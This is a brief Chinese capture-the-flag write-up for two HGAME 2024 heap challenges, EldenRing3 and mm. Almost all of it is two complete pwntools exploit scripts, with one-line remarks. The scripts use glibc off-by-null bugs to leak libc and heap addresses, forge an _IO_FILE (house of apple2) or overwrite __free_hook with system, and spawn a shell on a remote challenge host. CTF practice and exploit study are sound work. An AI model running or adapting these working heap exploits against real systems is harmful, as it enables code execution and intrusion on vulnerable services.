HGAME 2024 WEEK3 PWN

简单记录一下吧，只会做简答题的菜狗

EldenRing3

glibc 2.32 off by null

house of apple2 一套带走：

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'
io = remote("106.14.57.14", 30188)
#io = process("./vuln")
elf = ELF("./vuln")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'>'

def add(idx, size):
        sla(menu, b'1')
        sla(b'Index: ', byte(idx))
        sla(b'Size: ', byte(size))

def dele(idx):
        sla(menu, b'2')
        sla(b'Index: ', byte(idx))


def show(idx):
        sla(menu, b'4')
        sla(b'Index: ', byte(idx))

def edit(idx, data):
        sla(menu, b'3')
        sla(b'Index: ', byte(idx))
        sda(b'Content: ', data)

add(8, 0x508)
add(0, 0x510)
add(1, 0x500)
add(2, 0x520)
add(3, 0x500)
dele(2)
add(4, 0x530)

show(2)

#libc_base = addr64(b'\n')
libc_base = addr8(6) - 0x1e4030
info("libc_base", libc_base)

edit(2, b'A'*16)

show(2)
rut(b'A'*16)
heap_base = addr8(6)
info("heap_base", heap_base)

edit(2, p64(libc_base+0x1e4030)*2)

_IO_all_list = libc_base + 0x1e45c0
info("_IO_all_list", _IO_all_list)

dele(0)

pay = p64(libc_base+0x1e4030)*2 + p64(heap_base) + p64(_IO_all_list-0x20)
edit(2, pay)

add(5, 0x550)

chunk_addr = heap_base - 0xa30
info("chunk_addr", chunk_addr)

edit(8, b'A'*0x500 + p32(0xfffff7f5) + b';sh\x00')

fake_io_file = p64(0)*2 + p64(1) + p64(2)
fake_io_file = fake_io_file.ljust(0xa0-0x10, b'\x00') + p64(chunk_addr+0x100) # _wide_data
fake_io_file = fake_io_file.ljust(0xc0-0x10, b'\x00') + p64(0xffffffffffffffff) # _mode
fake_io_file = fake_io_file.ljust(0xd8-0x10, b'\x00') + p64(libc_base+0x1e4f80) # vtable
fake_io_file = fake_io_file.ljust(0x100-0x10 + 0xe0, b'\x00') + p64(chunk_addr+0x200)
fake_io_file = fake_io_file.ljust(0x200-0x10, b'\x00') + p64(0)*13 + p64(libc_base+0x503c0)

edit(0, fake_io_file)


sla(menu, b'5')

#debug()


sh()

mm

glibc 2.27 off by null

构造 overlapping 劫持 free_hook：

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = remote("106.14.57.14", 31809)
#io = process("./vuln")
elf = ELF("./vuln")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'Your choice:'

def add(idx, size, data):
        sla(menu, b'1')
        sla(b'Index: ', byte(idx))
        sla(b'Size: ', byte(size))
        sda(b'Content: ', data)

def dele(idx):
        sla(menu, b'3')
        sla(b'Index: ', byte(idx))


def show(idx):
        sla(menu, b'2')
        sla(b'Index: ', byte(idx))


for i in range(7):
        add(i, 0xf8, b'A')

add(7,  0xf8, b'A')
add(8,  0x20, b'B')
add(9,  0x20, b'B')
add(10, 0xf8, b'A')
add(11, 0x20, b'C')

for i in range(7):
        dele(i)

dele(7)
dele(9)

add(9, 0x28, b'A'*0x20 + p64(0xf0+0x10+0x30+0x30))
dele(10)

for i in range(7):
        add(i, 0xf8, b'A')

add(7, 0xf8, b'A')

show(8)

libc_base = addr8(6) - 0x3ebca0
info("libc_base", libc_base)

free_hook = libc_base + 0x3ed8e8
system = libc_base + 0x4f420

info("free_hook", free_hook)
info("system", system)

dele(11)
dele(9)

add(12, 0x38, b'A'*0x28 + p64(0x31) + p64(free_hook))

#dele(12)

add(14, 0x20, b'/bin/sh\x00')
add(15, 0x20, p64(system))

dele(14)
#debug()
sh()